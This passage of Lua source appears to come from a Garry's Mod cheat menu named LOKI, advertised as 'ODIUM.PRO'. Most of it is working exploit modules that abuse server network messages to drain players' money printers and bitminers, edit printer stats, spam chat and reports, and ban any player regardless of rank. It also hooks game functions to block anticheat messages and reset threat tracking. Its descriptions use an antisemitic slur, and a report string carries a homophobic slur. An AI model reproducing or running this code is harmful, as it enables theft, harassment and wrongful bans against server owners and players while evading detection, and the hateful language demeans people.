  2446. if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then add = add * speed_mod end
  2447.  
  2448. LOKI.Freecam.Velocity = LOKI.Freecam.Velocity + (add * RealFrameTime())
  2449.  
  2450. cmd:SetForwardMove( 0 )
  2451. cmd:SetSideMove( 0 )
  2452. cmd:SetUpMove( 0 )
  2453.  
  2454. end
  2455. end,
  2456. Tick = function(tbl, sploit)
  2457. if(LOKI.RAW_FRAME_TIME == (1 / engine.ServerFrameTime())) then
  2458. LOKI.DROPPED_FRAMES = LOKI.DROPPED_FRAMES + 1
  2459. else
  2460. LOKI.RAW_FRAME_TIME = (1 / engine.ServerFrameTime())
  2461. LOKI.DROPPED_FRAMES = 0
  2462. LOKI.REAL_CURTIME = _G.CurTime()
  2463. end
  2464. if(LOKI.OS_TIME != os.time()) then
  2465. LOKI.DRAW_TPS = math.Clamp(LOKI.TICK_RATE - LOKI.DROPPED_FRAMES, 0, LOKI.TICK_RATE)
  2466. LOKI.OS_TIME = os.time()
  2467. end
  2468. end,
  2469. Think = function(tbl, sploit)
  2470. local pan = vgui.GetHoveredPanel()
  2471. if(IsValid(pan) && IsValid(pan.btnClose) && isfunction(pan.btnClose.SetVisible) && !pan.PaintedManually) then
  2472. pan.btnClose:SetVisible( true )
  2473. end
  2474. end,
  2475. OnReloaded = function()
  2476. table.Empty(LOKI.Hooks)
  2477. LOKI.RunDetours()
  2478. if(IsValid(LOKI.Menu) && LOKI.Menu:IsVisible()) then
  2479. LOKI.Menu:SetVisible(false)
  2480. end
  2481. LOKI.OpenMenu(true)
  2482. end,
  2483. concommand = {
  2484. Run = function(sploit, varargs)
  2485. if(LOKI.CommandList[ string.lower( varargs[2] ) ]) then
  2486. pcall(function() LOKI.CommandList[ string.lower( varargs[2] ) ](unpack(varargs)) end)
  2487. return false
  2488. end
  2489. end
  2490. },
  2491. gui = {
  2492. ["*"] = function(tabk, funck, sploit, varargs)
  2493. return false
  2494. end
  2495. },
  2496. input = {
  2497. ["*"] = function()
  2498. return false
  2499. end
  2500. },
  2501. render = {
  2502. SetRenderTarget = function(sploit, varargs)
  2503. //if(LOKI.GetStored( "securerenderer", false )) then return false end
  2504. end
  2505. },
  2506. util = {
  2507. NetworkIDToString = function(sploit, varargs)
  2508. local det_call = LOKI.DetourCall
  2509. LOKI.DetourCall = true
  2510. LOKI.NetIncomingMsg = util.NetworkIDToString(varargs[1])
  2511. LOKI.DetourCall = det_call
  2512. if(!LOKI.NetIncomingMsg) then return end
  2513. for k, v in ipairs(LOKI.GetAllExploits()) do
  2514. local Receiver = LOKI.RecursiveGetVar(v, {"hooks", "net", "Receive"}, "function")
  2515. if(Receiver) then
  2516. if(Receiver(v, LOKI.NetIncomingMsg) == false) then
  2517. return nil
  2518. end
  2519. end
  2520. end
  2521. end,
  2522. },
  2523. input = {
  2524. LookupBinding = function(sploit, varargs)
  2525. local bind = input.LookupBinding(unpack(varargs))
  2526. if(bind) then
  2527. if(LOKI.CommandList[input.LookupKeyBinding(input.GetKeyCode(bind))]) then
  2528. LOKI.RETURN_OVERRIDE = true
  2529. end
  2530. end
  2531. end,
  2532. LookupKeyBinding = function(sploit, varargs)
  2533. if(LOKI.CommandList[input.LookupKeyBinding(unpack(varargs))]) then LOKI.RETURN_OVERRIDE = true end
  2534. end,
  2535. },
  2536. /*string = {
  2537. lower = function(sploit, varargs)
  2538. local str = varargs[1]
  2539. if(str == "Odium") then
  2540. return string.lower
  2541. end
  2542. if(str == "LOKI.GetTable()") then
  2543. return LOKI
  2544. end
  2545. local LowerCommand = string.lower( str ) || str
  2546. if ( LOKI.CommandList[ LowerCommand ] != nil ) then
  2547. pcall(function() LOKI.CommandList[ LowerCommand ]( player, str, arguments, args ) end)
  2548. end
  2549. end,
  2550. },*/ -- might use later, somewhat secure way to add concommands in clientstate but PlayerBindPress works better
  2551. net = {
  2552. Receive = function(sploit, strName)
  2553. if(strName == "diagnostics1" || strName == "diagnostics2" || strName == "diagnostics3") then
  2554. return false
  2555. end
  2556. end,
  2557. /*WriteAngle = function(sploit, varargs)
  2558. if(LOKI.NetOutgoingMsg == "thirdperson_etp") then
  2559. varargs[1] = Angle(0,0,0,2^64)
  2560. end
  2561. end,*/
  2562. ["*"] = function(tabk, funck, sploit, varargs)
  2563. if(funck:StartWith("Write")) then
  2564. if(LOKI.BlockNetOutgoing) then
  2565. return false
  2566. elseif(funck == "BytesWritten") then
  2567. return -1
  2568. elseif(LOKI.NetOutgoingMsg == "anticheat" || LOKI.NetOutgoingMsg == "thisisnotcool") then
  2569. return false
  2570. elseif(funck == "WriteTable") then
  2571. if(LOKI.Developer) then
  2572. PrintTable(varargs[1])
  2573. end
  2574. end
  2575. elseif(funck:StartWith("Read")) then
  2576. if(LOKI.BlockNetIncoming) then
  2577. return false
  2578. end
  2579. end
  2580. end,
  2581. },
  2582. PreDrawTranslucentRenderables = function()
  2583. EyePos()
  2584. EyeVector()
  2585. EyeAngles()
  2586. end,
  2587. PlayerBindPress = function(tbl, sploit, varargs, ret)
  2588. if(LOKI.CommandList[ string.lower( varargs[2] ) ]) then
  2589. pcall(function() LOKI.CommandList[ string.lower( varargs[2] ) ] (unpack(varargs)) end)
  2590. return true
  2591. end
  2592. if(ret != nil) then return ret else return false end
  2593. end,
  2594. cam = {
  2595. //Start3D = function() return false end,
  2596. //End3D = function() return false end,
  2597. },
  2598. _G = {
  2599. RunConsoleCommand = function(tbl, varargs)
  2600. if(varargs[1] == "disconnect") then return false end
  2601. end,
  2602. },
  2603. vgui = {
  2604. Create = function(tbl, varargs)
  2605. local classname, parent, name, loki = varargs[1],varargs[2],varargs[3],varargs[4]
  2606. local ret = vgui.Create(classname, parent, name)
  2607. if(!ret) then print("something touched me wrongly") return end
  2608. ret.MenuStart = true
  2609. if(classname == "DFrame" && loki == true) then
  2610. ret:SetPaintedManually(true)
  2611. ret.PaintedManually = true
  2612. LOKI.DrawPanels[#LOKI.DrawPanels+1] = ret
  2613. return LOKI.DrawPanels[#LOKI.DrawPanels]
  2614. end
  2615. return ret
  2616. end,
  2617. },
  2618. },
  2619. functions = {
  2620. { typ = "float", Name = "Rate", default = LOKI.RATE_LIMIT, addr = "tpsrate", min = 1, max = (LOKI.ARES && math.huge || 1536) },
  2621. { typ = "float", Name = "Ticks", min = 1, max = LOKI.TICK_RATE, default = LOKI.TICK_RATE, addr = "tickdelay" },
  2622. { typ = "float", Name = "FPS", min = 0, max = math.huge, default = 5, addr = "fpsthreshold" },
  2623. { typ = "float", Name = "Bait", min = 0, max = math.huge, default = 5, addr = "baitthreshold" },
  2624. { typ = "bool", ToggleText = {"Freecam"}, border = true, bool = "freecam", callback = LOKI.Freecam.Toggle },
  2625. //{ typ = "bool", ToggleText = {"Secure"}, border = true, addr = "securerenderer", bool = "securerenderer" },
  2626. //{ typ = "bool", ToggleText = {"Fix ESP"}, border = true, bool = "fixesp" },
  2627. { typ = "player", addr = "spectate", Name = "Spectate", nostore = true },
  2628. //{ typ = "bool", ToggleText = {"Fix Sprint"}, border = true, bool = "sprintfix" },
  2629. },
  2630. } )
  2631. LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
  2632. //////////////////////////////////////////////- MONEY -////////////////////////////////////////////////
  2633. LOKI.AddExploit( "Printer Money Stealer", {
  2634. desc = "Instantly jew all money from every printer on the server (500 for latest, -1 for infinite)",
  2635. severity = 90,
  2636. bools = {enabled = false},
  2637. status = 1,
  2638. times_per_tick = 1,
  2639. vars = {},
  2640. scan = function() return LOKI.DynamicNetString("SyncPrinterButtons") end,
  2641. hooks = {
  2642. Tick = function(tbl, sploit)
  2643. local dist = LOKI.GetStored( "printers1", 500 )
  2644. local ent_tbl = LOKI.ents.FindByGlobal("WithdrawText")
  2645. for k, v in ipairs(ent_tbl) do
  2646. if( dist == -1 || LOKI.GetLP():GetPos():Distance(v:GetPos()) < dist ) then
  2647. LOKI.NetStart( sploit, sploit.channel )
  2648. net.WriteEntity(v)
  2649. net.WriteUInt(2, 4)
  2650. net.SendToServer()
  2651. end
  2652. end
  2653. end,
  2654. },
  2655. functions = {
  2656. { typ = "bool", },
  2657. { typ = "float", Name = "Distance", min = -1, max = math.huge, default = 500, addr = "printers1" },
  2658. },
  2659. } )
  2660. LOKI.AddExploit( "Printer Money Stealer", {
  2661. desc = "Instantly jew all money from every printer on the server",
  2662. severity = 90,
  2663. bools = {enabled = false},
  2664. status = 1,
  2665. times_per_tick = 1,
  2666. vars = {},
  2667. scan = function() return LOKI.ValidNetString( "DataSend" ) end,
  2668. hooks = {
  2669. Tick = function(tbl, sploit)
  2670. for k, v in ipairs(LOKI.ents.FindByGlobal("GetPToggle")) do
  2671. LOKI.NetStart( sploit, "DataSend")
  2672. net.WriteFloat(2)
  2673. net.WriteEntity(v)
  2674. net.WriteEntity(LOKI.GetLP())
  2675. net.SendToServer()
  2676. end
  2677. end,
  2678. },
  2679. functions = {
  2680. { typ = "bool", },
  2681. },
  2682. } )
  2683. LOKI.AddExploit( "Printer Money Stealer", {
  2684. desc = "Instantly jew all money from every printer on the server",
  2685. severity = 90,
  2686. bools = {enabled = false},
  2687. status = 1,
  2688. times_per_tick = 1,
  2689. vars = {},
  2690. scan = function() return LOKI.ValidNetString( "withdrawop" ) end,
  2691. hooks = {
  2692. Tick = function(tbl, sploit)
  2693. for k, v in ipairs(LOKI.ents.FindByGlobal("S_Model")) do
  2694. LOKI.NetStart( sploit, "withdrawop")
  2695. net.WriteEntity(v)
  2696. net.SendToServer()
  2697. end
  2698. end,
  2699. },
  2700. functions = {
  2701. { typ = "bool", },
  2702. },
  2703. } )
  2704. LOKI.AddExploit( "Printer Money Stealer", {
  2705. desc = "Instantly jew all money from every printer on the server",
  2706. severity = 90,
  2707. bools = {enabled = false},
  2708. status = 1,
  2709. times_per_tick = 1,
  2710. vars = {},
  2711. scan = function() return LOKI.ValidNetString( "NGII_TakeMoney" ) end,
  2712. hooks = {
  2713. Tick = function(tbl, sploit)
  2714. for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
  2715. LOKI.NetStart( sploit, "NGII_TakeMoney")
  2716. net.WriteEntity(v)
  2717. net.WriteEntity(LOKI.GetLP())
  2718. net.SendToServer()
  2719. end
  2720. end,
  2721. },
  2722. functions = {
  2723. { typ = "bool", },
  2724. },
  2725. } )
  2726. LOKI.AddExploit( "Printer Money Stealer", {
  2727. desc = "Instantly jew all money from every printer on the server",
  2728. severity = 90,
  2729. bools = {enabled = false},
  2730. status = 1,
  2731. times_per_tick = 1,
  2732. vars = {},
  2733. scan = function() return LOKI.ValidNetString( "NET_DoPrinterAction" ) end,
  2734. hooks = {
  2735. Tick = function(tbl, sploit)
  2736. for k, v in ipairs(LOKI.ents.FindByGlobal("Stats")) do
  2737. LOKI.NetStart( sploit, "NET_DoPrinterAction")
  2738. net.WriteEntity(LOKI.GetLP())
  2739. net.WriteEntity(v)
  2740. net.WriteInt(2, 16)
  2741. net.SendToServer()
  2742. end
  2743. end,
  2744. },
  2745. functions = {
  2746. { typ = "bool", },
  2747. },
  2748. } )
  2749. LOKI.AddExploit( "Printer Money Stealer", {
  2750. desc = "Instantly jew all money from every bitminer on the server",
  2751. severity = 90,
  2752. bools = {enabled = false},
  2753. status = 1,
  2754. times_per_tick = 1,
  2755. vars = {},
  2756. scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
  2757. hooks = {
  2758. Tick = function(tbl, sploit)
  2759. if(LOKI.TIME_TO_TICKS(LOKI.REAL_CURTIME) % (LOKI.SafeToNumber(LOKI.GetStored("stealer1cooldown", 1)) + 1) == 0) then
  2760. for k, v in ipairs(LOKI.ents.FindByGlobal("GetIsMining")) do
  2761. LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
  2762. net.WriteEntity(v)
  2763. net.SendToServer()
  2764. end
  2765. end
  2766. end,
  2767. },
  2768. functions = {
  2769. { typ = "float", Name = "Cooldown", min = 0, max = LOKI.TICK_RATE, default = 1, addr = "stealer1cooldown" },
  2770. { typ = "bool", },
  2771. },
  2772. } )
  2773. LOKI.AddExploit( "Printer Money Stealer", {
  2774. desc = "Instantly jew all money from every printer on the server",
  2775. severity = 90,
  2776. bools = {enabled = false},
  2777. status = 1,
  2778. times_per_tick = 1,
  2779. vars = {},
  2780. scan = function() return LOKI.ValidNetString( "fg_printer_money" ) end,
  2781. hooks = {
  2782. Tick = function(tbl, sploit)
  2783. for k, v in ipairs(LOKI.ents.FindByGlobal("Getdata_money")) do
  2784. LOKI.NetStart( sploit, "fg_printer_money")
  2785. net.WriteEntity(v)
  2786. net.SendToServer()
  2787. end
  2788. end,
  2789. },
  2790. functions = {
  2791. { typ = "bool", },
  2792. },
  2793. } )
  2794. LOKI.AddExploit( "Printer Money Stealer", {
  2795. desc = "Instantly jew all money from every printer on the server",
  2796. severity = 90,
  2797. bools = {enabled = false},
  2798. status = 1,
  2799. times_per_tick = 1,
  2800. vars = {},
  2801. scan = function() return LOKI.ValidNetString( "icemod_printer_withdraw" ) end,
  2802. hooks = {
  2803. Tick = function(tbl, sploit)
  2804. for k, v in ipairs(LOKI.ents.FindByGlobal("PrinterMenu")) do
  2805. LOKI.NetStart( sploit, "icemod_printer_withdraw")
  2806. net.WriteEntity(v)
  2807. net.SendToServer()
  2808. end
  2809. end,
  2810. },
  2811. functions = {
  2812. { typ = "bool", },
  2813. },
  2814. } )
  2815. LOKI.AddExploit( "Printer Exploit", {
  2816. desc = "Edit the stats of any printer in the server",
  2817. severity = 65,
  2818. bools = {enabled = false},
  2819. status = 1,
  2820. times_per_tick = math.huge,
  2821. scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
  2822. count = {
  2823. ["Active"] = 3,
  2824. ["Total"] = 3,
  2825. },
  2826. hooks = {
  2827. Think = function(tbl, sploit)
  2828. local ent = LOKI.GetStored("px_ply", {})[1]
  2829. if(IsValid(ent) && istable(ent.data)) then
  2830. LOKI.OpenTableEditor(LOKI.Menu, ent.data, "Printer Stats", function(tbl)
  2831. LOKI.NetStart(sploit, {"lithiumPrinter2Bronze", "lithiumPrinter2Economic", "lithiumPrinter2Iron", "lithiumPrinter2Silver", "lithiumPrinter2Obsidian", "lithiumPrinter2Donator"}, true)
  2832. net.WriteEntity(ent)
  2833. net.WriteTable(tbl)
  2834. net.SendToServer()
  2835. end)
  2836. end
  2837.  
  2838. end,
  2839. },
  2840. functions = {
  2841. { typ = "entity", addr = "px_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("data") end },
  2842. { typ = "func", Name = "Edit", },
  2843. },
  2844. } )
  2845. LOKI.AddExploit( "Printer Exploit", {
  2846. desc = "Edit the shelves of any printer in the server",
  2847. severity = 65,
  2848. bools = {enabled = false},
  2849. status = 1,
  2850. times_per_tick = math.huge,
  2851. scan = function() return LOKI.DynamicNetString( "lithiumPrinter2" ) end,
  2852. count = {
  2853. ["Active"] = 2,
  2854. ["Total"] = 2,
  2855. },
  2856. hooks = {
  2857. Think = function(tbl, sploit)
  2858. local ent = LOKI.GetStored("px2_ply", {})[1]
  2859. if(IsValid(ent) && istable(ent.shelves)) then
  2860. LOKI.OpenTableEditor(LOKI.Menu, ent.shelves, "Printer Shelves", function(tbl)
  2861. LOKI.NetStart(sploit, {"lithium_printers_connected", "lithiumPrinters2RackLarge"}, true)
  2862. net.WriteEntity(ent)
  2863. net.WriteTable(tbl)
  2864. net.SendToServer()
  2865. end)
  2866. end
  2867.  
  2868. end,
  2869. },
  2870. functions = {
  2871. { typ = "entity", addr = "px2_ply", Name = "Printer", tbl = function() return LOKI.ents.FindByGlobal("shelves") end },
  2872. { typ = "func", Name = "Edit", },
  2873. },
  2874. } )
  2875. //////////////////////////////////////////////- SPAM -////////////////////////////////////////////////
  2876. LOKI.AddExploit( "Chat Spam", {
  2877. desc = "Spams specific players on the server with a message",
  2878. severity = 1,
  2879. bools = {enabled = false},
  2880. status = 1,
  2881. times_per_tick = 10,
  2882. scan = function() return (LOKI.ValidNetString( "sendtable" ) ) end,
  2883. hooks = {
  2884. Think = function(tbl, sploit)
  2885. for k, v in ipairs( LOKI.GetStored( "fr_players", {} ) ) do
  2886. if !IsValid(v) then continue end
  2887. local buyit = {}
  2888. for i = 1, 15 do
  2889. buyit[#buyit + 1] = LOKI.GetStored( "fr_spamstring", "GET ODIUM.PRO" )
  2890. end
  2891. LOKI.NetStart( sploit, "sendtable" )
  2892. net.WriteEntity( v )
  2893. net.WriteTable( buyit )
  2894. net.SendToServer()
  2895. end
  2896. end,
  2897. },
  2898. functions = {
  2899. { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "fr_spamstring" },
  2900. { typ = "players", addr = "fr_players" },
  2901. { typ = "bool", },
  2902. },
  2903. } )
  2904. LOKI.AddExploit( "Chat Spam", {
  2905. desc = "Spam private messages to anyone",
  2906. severity = 50,
  2907. bools = {enabled = false},
  2908. status = 1,
  2909. msgs_per_tick = function(sploit) return #LOKI.GetStored( "spammer_plyz", {} ) end,
  2910. times_per_tick = math.huge,
  2911. vars = {},
  2912. scan = function()
  2913. local psay, query = LOKI.RecursiveGetVar(ulx, {"psay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
  2914. return (psay && query && query( LOKI.GetLP(), "ulx psay" )) end,
  2915. hooks = {
  2916. Think = function(tbl, sploit)
  2917. if(LOKI.GetLP().ulib_threat_level) then
  2918. LOKI.GetLP().ulib_threat_level = 0
  2919. end
  2920. for k, v in ipairs( LOKI.GetStored( "spammer_plyz", {} ) ) do
  2921. if !IsValid(v) then continue end
  2922. local spamstr = LOKI.GetStored( "spam_message", "GET ODIUM.PRO" )
  2923. LOKI.RCC(sploit, "ulx", "psay", v:Nick(), spamstr)
  2924. end
  2925. end,
  2926. },
  2927. functions = {
  2928. { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam_message" },
  2929. { typ = "players", addr = "spammer_plyz" },
  2930. { typ = "bool", },
  2931. },
  2932. } )
  2933. LOKI.AddExploit( "Chat Spam", {
  2934. desc = "Spam admin messages",
  2935. severity = 50,
  2936. bools = {enabled = false},
  2937. status = 1,
  2938. msgs_per_tick = function(sploit) return #LOKI.GetStored( "spamasay_plyz", {} ) end,
  2939. times_per_tick = math.huge,
  2940. vars = {},
  2941. scan = function()
  2942. local asay, query = LOKI.RecursiveGetVar(ulx, {"asay"}, "function"), LOKI.RecursiveGetVar(ULib, {"ucl", "query"}, "function")
  2943. return (asay && query && query( LOKI.GetLP(), "ulx asay" )) end,
  2944. hooks = {
  2945. Think = function(tbl, sploit)
  2946. if(LOKI.GetLP().ulib_threat_level) then
  2947. LOKI.GetLP().ulib_threat_level = 0
  2948. end
  2949. local spamstr = LOKI.GetStored( "spam2_message", "GET ODIUM.PRO" )
  2950. LOKI.RCC(sploit, "ulx", "asay", spamstr)
  2951. end,
  2952. },
  2953. functions = {
  2954. { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "spam2_message" },
  2955. { typ = "bool", },
  2956. },
  2957. } )
  2958. LOKI.AddExploit( "Chat Spam", {
  2959. desc = "Set ALL taxes to 0 and spam notifies",
  2960. severity = 50,
  2961. bools = {enabled = false},
  2962. status = 2,
  2963. times_per_tick = 1,
  2964. vars = {},
  2965. prevalidated = true,
  2966. scan = function() return LOKI.ValidNetString("BEModule_SetTaxes") && BEModuleConfig && BEModuleConfig.EnableTaxes end,
  2967. hooks = {
  2968. Think = function(tbl, sploit)
  2969. LOKI.NetStart( sploit, "BEModule_SetTaxes")
  2970. net.SendToServer()
  2971. end,
  2972. },
  2973. functions = {
  2974. { typ = "bool", },
  2975. },
  2976. } )
  2977. LOKI.AddExploit( "Chat Spam", {
  2978. desc = "Spam chat messages for everyone (except loki users)",
  2979. severity = 50,
  2980. bools = {enabled = false},
  2981. status = 1,
  2982. times_per_tick = math.huge,
  2983. vars = {},
  2984. scan = function() return LOKI.ValidNetString("DrGBaseChatPrint") end,
  2985. hooks = {
  2986. Think = function(tbl, sploit)
  2987. LOKI.NetStart( sploit, "DrGBaseChatPrint")
  2988. net.WriteString(LOKI.GetStored("chatspam4", "GET ODIUM.PRO"))
  2989. net.WriteBool(sploit.bools.error || false)
  2990. net.SendToServer()
  2991. end,
  2992. net = {
  2993. Receive = function(sploit, strName)
  2994. if(strName == "DrGBaseChatPrint") then
  2995. return false
  2996. end
  2997. end,
  2998. },
  2999. },
  3000. functions = {
  3001. { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "chatspam4" },
  3002. { typ = "bool", ToggleText = {"Error"}, border = true, bool = "error" },
  3003. { typ = "bool", },
  3004. },
  3005. } )
  3006. LOKI.AddExploit( "Report Exploit", {
  3007. desc = "Spam reports on everybody on the server",
  3008. severity = 1,
  3009. bools = {enabled = false},
  3010. status = 2,
  3011. times_per_tick = 1,
  3012. vars = {},
  3013. scan = function() return LOKI.ValidNetString( "TransferReport" ) end,
  3014. hooks = {
  3015. Think = function(tbl, sploit)
  3016. for k, v in ipairs( player.GetAll() ) do
  3017. LOKI.NetStart( sploit, "TransferReport" )
  3018. net.WriteString( v:SteamID() )
  3019. net.WriteString( "INFERNUS AND BAT ARE FAGGOTS FOR EACH OTHER" )
  3020. net.WriteString( "DITCH THIS SHITTY SERVER AND BUY ODIUM.PRO TODAY" )
  3021. net.SendToServer()
  3022. end
  3023. end,
  3024. },
  3025. functions = {
  3026. { typ = "func", Name = "Report Everybody", },
  3027. },
  3028. } )
  3029. /*LOKI.ChatClear = LOKI.LAST.ChatClear || _G.ChatClear
  3030. LOKI.AddExploit( "Chat Spam", {
  3031. desc = "Chat will clear and become unusable. (patched on some custom chatboxes)",
  3032. severity = 50,
  3033. bools = {enabled = false},
  3034. status = 1,
  3035. times_per_tick = 1,
  3036. vars = {},
  3037. scan = function() return pcall(function() require("cc") end) && istable(LOKI.ChatClear || _G.ChatClear) end,
  3038. initial = function()
  3039. if(!LOKI.ChatClear) then
  3040. LOKI.ChatClear = _G.ChatClear
  3041. end
  3042. if(_G.ChatClear) then
  3043. _G.ChatClear = nil
  3044. end
  3045. end,
  3046. hooks = {
  3047. Think = function(tbl, sploit)
  3048. if(LOKI.ChatClear) then if(DarkRP) then LOKI.ChatClear.OOC() else LOKI.ChatClear.Run() end end
  3049. end,
  3050. },
  3051. functions = {
  3052. { typ = "bool", },
  3053. },
  3054. } )*/
  3055. LOKI.AddExploit( "Team Change Spammer", {
  3056. desc = "Chat will spam with team changes",
  3057. severity = 50,
  3058. bools = {enabled = false},
  3059. status = 1,
  3060. msgs_per_tick = function(sploit)
  3061. local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true)
  3062. LOKI.SetTableContents(tbl, LOKI.GetVarTable(team.GetAllTeams(), "Joinable", LOKI.TYPEVARS.EQUALTO, true))
  3063. return #tbl
  3064. end,
  3065. times_per_tick = math.huge,
  3066. vars = {},
  3067. scan = function() return LOKI.GetLP().pkdata != nil end,
  3068. hooks = {
  3069. Think = function(tbl, sploit)
  3070. for k, v in ipairs( LOKI.RecursiveGetVar(sploit, {"vars", "Think", "team"}, "table", true) ) do
  3071. if(v.Joinable == true) then
  3072. LOKI.RCC(sploit, "_team", tostring(k))
  3073. end
  3074. end
  3075. end,
  3076. },
  3077. functions = {
  3078. { typ = "bool", },
  3079. },
  3080. } )
  3081. LOKI.AddExploit( "Respawn Exploit", {
  3082. desc = "Instantly respawn on death, skip respawn timer",
  3083. severity = 50,
  3084. bools = {enabled = false},
  3085. status = 1,
  3086. times_per_tick = 1,
  3087. vars = {},
  3088. scan = function() return LOKI.GetLP().pkdata != nil end,
  3089. hooks = {
  3090. entity_killed = function(tbl, sploit, varargs)
  3091. local data = varargs[1]
  3092. local ent = Entity(data.entindex_killed)
  3093. if ( ent == LOKI.GetLP() ) then
  3094. for k, v in ipairs( team.GetAllTeams() ) do
  3095. if(v.Joinable == true && k != LOKI.GetLP():Team()) then
  3096. LOKI.RCC(sploit, "_team", tostring(k))
  3097. break
  3098. end
  3099. end
  3100. end
  3101. end,
  3102. },
  3103. functions = {
  3104. { typ = "bool", },
  3105. },
  3106. } )
  3107. /*LOKI.AddExploit( "Respawn Exploit", {
  3108. desc = "Instantly respawn on death",
  3109. severity = 90,
  3110. bools = {enabled = false},
  3111. status = 1,
  3112. times_per_tick = 1,
  3113. vars = {},
  3114. scan = function() return LOKI.ValidNetString("recreate_move") end,
  3115. hooks = {
  3116. entity_killed = function(tbl, sploit, varargs)
  3117. local data = varargs[1]
  3118. local ent = Entity(data.entindex_killed)
  3119. if ( ent == LOKI.GetLP() ) then
  3120. LOKI.NetStart(sploit, "recreate_move")
  3121. net.WriteVector(LOKI.GetLP():GetPos())
  3122. net.WriteAngle(LOKI.GetLP():GetAngles())
  3123. net.SendToServer()
  3124. end
  3125. end,
  3126. },
  3127. functions = {
  3128. { typ = "bool", },
  3129. },
  3130. } )*/ --TRASH
  3131. LOKI.AddExploit( "Console Spam", {
  3132. desc = "Supposed to be a lagsploit but doesn't actually cause lag, just spams console",
  3133. severity = 90,
  3134. bools = {enabled = false},
  3135. status = 1,
  3136. times_per_tick = 20,
  3137. scan = function() return ULib != nil end,
  3138. hooks = {
  3139. Think = function(tbl, sploit)
  3140. LOKI.RCC(sploit, "_u", LOKI.GetStored("consolespam1", "GET ODIUM.PRO") )
  3141. end,
  3142. },
  3143. functions = {
  3144. { typ = "string", Name = "Spam Message", default = "GET ODIUM.PRO", addr = "consolespam1" },
  3145. { typ = "bool", },
  3146. },
  3147. } )
  3148. LOKI.AddExploit( "Chat Spam", {
  3149. desc = "Big chat spams, extremely annoying",
  3150. severity = 1,
  3151. bools = {enabled = false},
  3152. status = 2,
  3153. times_per_tick = 1,
  3154. vars = {},
  3155. scan = function() return LOKI.ValidNetString( "VJSay" ) end,
  3156. hooks = {
  3157. Think = function(tbl, sploit)
  3158. for k, v in ipairs( player.GetAll() ) do
  3159. LOKI.NetStart( sploit, "VJSay" )
  3160. net.WriteEntity( v )
  3161. net.WriteString( LOKI.GetStored( "vj_spamstring", "GET ODIUM.PRO" ) )
  3162. if LOKI.GetStored( "vj_spamsound", "" ) != "" then
  3163. net.WriteString( LOKI.GetStored( "vj_spamsound", "" ) )
  3164. end
  3165. net.SendToServer()
  3166. end
  3167. end,
  3168. },
  3169. functions = {
  3170. { typ = "string", Name = "Enter a message", default = "GET ODIUM.PRO", addr = "vj_spamstring" },
  3171. { typ = "string", Name = "Enter a sound path", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
  3172. { typ = "bool", },
  3173. },
  3174. } )
  3175. //////////////////////////////////////////////- HARM -////////////////////////////////////////////////
  3176. LOKI.AddExploit( "Ban Exploit", {
  3177. desc = "Allows you to ban anyone regardless of rank",
  3178. severity = 100,
  3179. bools = {enabled = false},
  3180. status = 3,
  3181. times_per_tick = 1,
  3182. vars = {},
  3183. scan = function() return LOKI.ValidNetString( "banleaver" ) end,
  3184. hooks = {
  3185. Think = function(tbl, sploit)
  3186. for k,v in ipairs(LOKI.GetStored( "banleaver_ply", {} )) do
  3187. if IsValid(v) then
  3188. if(v:IsPlayer()) then
  3189. LOKI.NetStart( sploit, "banleaver")
  3190. net.WriteString(tostring(v:SteamID().."{sep}"..tostring(v:Name())))
  3191. net.SendToServer()
  3192. end
  3193. end
  3194. end
  3195. end,
  3196. },
  3197. functions = {
  3198. { typ = "players", addr = "banleaver_ply" },
  3199. { typ = "bool", Name = "Ban", args = {}, },
  3200. },
  3201. } )
  3202. LOKI.AddExploit( "Ban Exploit", {
  3203. desc = "Allows you to ban anyone regardless of rank",
  3204. severity = 100,
  3205. bools = {enabled = false},
  3206. status = 2,
  3207. times_per_tick = 1,
  3208. vars = {},
  3209. scan = function() return LOKI.ValidNetString( "gBan.BanBuffer" ) end,
  3210. hooks = {
  3211. Think = function(tbl, sploit)
  3212. for k,v in ipairs(LOKI.GetStored( "ban2_ply", {} )) do
  3213. if IsValid(v) then
  3214. if(v:IsPlayer()) then
  3215. LOKI.NetStart( sploit, "gBan.BanBuffer" )
  3216. net.WriteBool( true )
  3217. net.WriteInt( LOKI.SafeToNumber(LOKI.GetStored("ban2time", 0)), 32 )
  3218. net.WriteString( LOKI.GetStored("ban2", "GET ODIUM.PRO") )
  3219. net.WriteString( v:SteamID() )
  3220. net.SendToServer()
  3221. end
  3222. end
  3223. end
  3224. end,
  3225. },
  3226. functions = {
  3227. { typ = "players", addr = "ban2_ply" },
  3228. { typ = "string", Name = "Ban Reason", default = "GET ODIUM.PRO", addr = "ban2" },
  3229. { typ = "float", Name = "Ban Time", min = 0, max = (math.pow(2, 32)-1)/2, default = 0, addr = "ban2time" },
  3230. { typ = "bool", Name = "Ban", args = {}, },
  3231. },
  3232. } )
  3233. LOKI.AddExploit( "Ban Exploit", {
  3234. desc = "Allows you to ban anyone regardless of rank",
  3235. severity = 100,
  3236. bools = {enabled = false},
  3237. status = 1,
  3238. times_per_tick = 1,
  3239. vars = {},
  3240. scan = function() return LOKI.ValidNetString( "RDMAssign" ) end,
  3241. hooks = {
  3242. Think = function(tbl, sploit)
  3243. for k,v in ipairs(LOKI.GetStored( "ban3_ply", {} )) do
  3244. if IsValid(v) then
  3245. if(v:IsPlayer()) then
  3246. for i=1, 10 do
  3247. LOKI.NetStart( sploit, "RDMAssign" )
  3248. net.WriteEntity( v )
  3249. net.SendToServer()
  3250. end
  3251. end
  3252. end
  3253. end
  3254. end,
  3255. },
  3256. functions = {
  3257. { typ = "players", addr = "ban3_ply" },
  3258. { typ = "func", Name = "Do it" },
  3259. },
  3260. } )
